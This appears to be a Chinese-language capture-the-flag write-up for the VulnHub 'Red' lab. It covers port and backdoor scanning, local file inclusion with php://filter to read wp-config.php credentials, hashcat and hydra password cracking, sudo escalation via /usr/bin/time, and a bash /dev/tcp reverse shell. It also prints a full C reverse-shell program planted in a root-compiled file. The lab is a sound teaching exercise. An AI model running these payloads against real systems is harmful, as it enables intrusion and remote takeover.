vulnhub实战：Red
1.Red介绍
描述
红色已经接管了你的系统，你能重新获得控制权吗？
下载地址：
https://download.vulnhub.com/red/Red.ova 2.安装部署
下载后使用VMware打开.ova打开，打开结果，
打开后，使用以下命令：无法获得ip
arp-scan -l 这通常是网卡配置的问题，所以检查，打开靶机时按下shift键，出现以下界面
往下找第一个linux找到字符串 ro xxxxx，然后改成
rw single init=/bin/bash 然后按下ctrl x重启后进入以下界面，
使用ip a命令查看网卡
发现是ens33.修改配置文件
vi /etc/network/interfaces 发现没有文件，就到了/etc/netplan/路径下
cd etc/netplan/ ls nano ls查看的文件名 将网卡信息改为ens33保存后重启靶机
重启靶机后，可以看到靶机已经获得了ip，192.168.241.137
3.信息收集
1.端口扫描
nmap -A -p- -T4 192.168.241.137 可可以看到22端口和80端口打开了
也可以从扫描信息中看到robots.txt,wp-admin路径以及cms为WordPress5.8.1
2.web信息收集
访问该ip
点击hello Blue，发现无法正确跳转
于是在hosts文件中加入
192.168.241.137 redrocks.win //hosts不要用编辑器打开文件，默认打开记事本，否则可能会出现编码问题。记事本的保存格式是ANSI ipconfig/flushdns ///刷新缓存 再次访问redrocks.win
发现页面出现了hacked by red,被黑客攻击，提示有后门文件，所以搜索
3.搜索后门文件
因为 WordPress 在 Apache PHP 所以应该是 php 后门，用目录扫描，看看可以扫描疑似后门的文件，所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 扫。
SecLists是OWASP维护安全信息列表集合。该集合包括各种类型的渗透列表。这些列表包括237个字典文件和常用的Web Shell攻击载荷。字典文件种类繁多，包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等
安装：
apt install seclists 工具使用：
Gobuster基于此工具Go在编程语言开发中，大多数研究人员可以使用该工具对目录、文件、DNS和VHost暴力破解攻击等对象。
安装：
apt update apt install gobuster 可选工具模式：
-
dir：传统的目录爆破模式；
-
dns：DNS子域名爆破模式；
-
vhost：虚拟主机爆破模式；
gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt // -w 字典路径 扫出了 NetworkFileManagerPHP.php，状态码是500，猜测可能存在本地文件包含,应该需要一个参数指定包含的文件名
所以通过wfuzz参数测试
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt 不过wfuzz测试只测了80多个值，退出了，因为看了大佬们wp，于是将key测试前放在字典前，
http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd 通过访问当地文件，发现文件确实包含在内
http://redrocks.win/NetworkFileManagerPHP.php?key=NetworkFileManagerPHP.php 但是直接访问没用，所以用php伪协议读取文件源码，
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php 访问之后base64解码后：
<?php $file = $_GET['key']; if(isset($file)) { include("$file"); } else { include("NetworkFileManagerPHP.php"); } /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */ #base64解码 That password alone won't help you! Hashcat says rules are rules ? Hashcat says rules are rules ?> 发现没用，因为提到了hashcat,所以找账号密码信息，因为是WordPress，因此，查找配置文件信息wp-config.php
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php 还是通过文件包含用PHP伪协议去读取文件源码，然后base64解码
<?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the web site, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL databae username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is labelly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
通过配置文件可以看到有个John用户
define( 'DB_USER', 'john' )
于是尝试ssh登录，发现密码果然错误，
于是进行hashcat破解
4.hash碰撞
因为是base64解码，选择bset64规则进行hash碰撞
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
//pass.txt 为配置文件中读取的密码，passlist.txt为hash碰撞生成的密码
然后通过爆破得到密码
hydra -l john -P passlist.txt ssh://192.168.241.137
然后进行登录
查看当前路径下文件，发现以下内容
提示说 cat 命令有问题。于是查看一下权限
使用sudo -l查看当前用户可执行的命令
发现会以 ippsec 用户 执行 /usr/bin/time：
于是time提权，执行sudo -u ippsec /usr/bin/time /bin/bash切换到ippsec用户
几秒钟没有交互就会断开连接，还会将我们踢出连接并修改密码，于是想办法进行提权
5.会话维持
首先进行会话维持，防止在被踢出会话，在新建一个终端进行监听
nc -lvvp 4444
再次使用hydra爆破密码，登录后
创建一个反弹shell
sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.241.128/4444 0>&1
可以看到成功反弹shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm #这里按下Ctrl+z返回一下
stty raw -echo;fg #输入reset
stty rows 46 columns 188 #规定行列，能使其顺序不乱
cd /var/www/wordpress
这样就可以获取一个完整的shell,
然后下载pspy64s,查看系统运行进程
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
进入/tmp目录,输入命令下载
之后给个权限然后运行
chmod +x pspy64s
./pspy64s
找到后门文件
网站目录下的wordpress目录内有个.git目录，里面有两个文件，rev和supersecretfileuc.c，rev是supersecretfileuc.c编译的程序，执行会输出信息，就是red时不时弹出的骚扰信息，将rev删除后过段时间会重新编译，并且是root权限
删掉这两个文件，用revshells.com网站生成C的反弹shell程序，通过http服务将其传到目标机器写入supersecretfileuc.c
6.提权
https://www.revshells.com/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 9001;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.241.128");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
然后修改监听ip
之后进入/var/www/wordpress/.git目录，上传supersecretfileuc.c文件
rm -r rev
rm -r supersecretfileuc.c #首先将原来的这两个文件删除
python3 -m http.server #kail 开启web服务
wget http://192.168.241.128:8000/supersecretfileuc.c #上传该文件到靶机上
nc -lvvp 9001 #.c文件中监听端口为9001
等待监听连接
查看root.txt
还有一个用户的flag，在oxdf用户下
至此，两个flag全部找到。